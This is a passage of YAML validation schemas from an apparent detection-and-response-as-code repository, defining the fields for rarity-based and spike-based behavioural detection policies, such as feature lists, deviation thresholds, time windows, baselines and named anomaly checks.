34 | mapping:
35 | "name":
36 | required: True
37 | type: str
38 | "feature":
39 | required: True
40 | type: seq
41 | sequence:
42 | - type: str
43 | "suspectcheckslist":
44 | required: True
45 | type: str
46 | enum: [
47 | SuspiciousIPAddressDetectedForAccount,
48 | SuspiciousTransactionDetectedForAccount,
49 | SuspiciousIPAddressDetectedForResource,
50 | SuspiciousTransactionDetectedForResource,
51 | SuspiciousAccountDetectedForResource,
52 | SuspiciousGeolocationDetectedForAccount,
53 | SuspiciousActivityOnResourceGroup,
54 | SuspiciousActivityOnResourceType,
55 | SuspiciousActivityOnFunctionality,
56 | ]
57 | "deviation":
58 | required: True
59 | type: float
--------------------------------------------------------------------------------
/yaml/validation/rare_schema.yml:
--------------------------------------------------------------------------------
1 | type: map
2 | mapping:
3 | "tldr": #describe the attack/exploit/tool covered
4 | type: str
5 | "atd": # [optional] link to an attack testing dataset
6 | type: str
7 | "drc": # [optional] generic detection-and-response-as-code (DRC) threat investigation code
8 | type: str
9 | "vizr": # [optional] vizr-specific instructions/code
10 | type: str
11 | "snpr_policy":
12 | type: map
13 | mapping:
14 | "violator":
15 | required: True
16 | type: str
17 | "category":
18 | required: True
19 | type: str
20 | "threatname":
21 | required: True
22 | type: str
23 | "functionality":
24 | required: True
25 | type: str
26 | "behavior":
27 | type: map
28 | mapping:
29 | "event_rarity":
30 | type: map
31 | mapping:
32 | "behavior_profile":
33 | type: map
34 | mapping:
35 | "feature": #Features for event rarity
36 | required: True
37 | type: seq
38 | sequence:
39 | - type: str
40 | "maxDaysClassCanBeSeen": #Whitelist the unique combination of features if found more than.
41 | required: True
42 | type: int
43 | range:
44 | min: 1
45 | max: 31
46 | "deviation": #Sigma Threshold Value (0.85 - 30 days)
47 | required: True
48 | type: float
49 | range:
50 | min: 0
51 | max: 1
52 | "suspectcheckslist": #Analytical Technique to run
53 | required: True
54 | type: str
55 | enum: [RareActivityOnAccount, RareActivityOnResource, RareActivityOnResourceGroup, RareActivityOnResourceType, RareActivityOnFunctionality]
56 |
--------------------------------------------------------------------------------
/yaml/validation/spike_schema.yml:
--------------------------------------------------------------------------------
1 | type: map
2 | mapping:
3 | "tldr": #describe the attack/exploit/tool covered
4 | type: str
5 | "atd": # [optional] link to an attack testing dataset
6 | type: str
7 | "drc": # [optional] generic detection-and-response-as-code (DRC) threat investigation code
8 | type: str
9 | "vizr": # [optional] vizr-specific instructions/code
10 | type: str
11 | "snpr_policy":
12 | type: map
13 | mapping:
14 | "violator":
15 | required: True
16 | type: str
17 | "category":
18 | required: True
19 | type: str
20 | "threatname":
21 | required: True
22 | type: str
23 | "functionality":
24 | required: True
25 | type: str
26 | "behavior":
27 | type: map
28 | mapping:
29 | "spike":
30 | type: map
31 | mapping:
32 | "behavior_profile":
33 | type: map
34 | mapping:
35 | "name":
36 | required: True
37 | type: str
38 | "feature":
39 | required: True
40 | type: seq
41 | sequence:
42 | - type: str
43 | "time_window":
44 | required: True
45 | type: str
46 | enum: [Hourly, Daily, Weekly, Monthly, 'Day of Week']
47 | "baseline":
48 | required: True
49 | type: str
50 | enum: [Self, 'Other Accounts', 'Peer Groups']
51 | "deviation":
52 | required: True
53 | type: float
54 | "suspectcheckslist": #Analytical Technique to run
55 | required: True
56 | type: str
57 | enum: [DailyCheckTranAccountRarity, DailyCheckTranAccount]
--------------------------------------------------------------------------------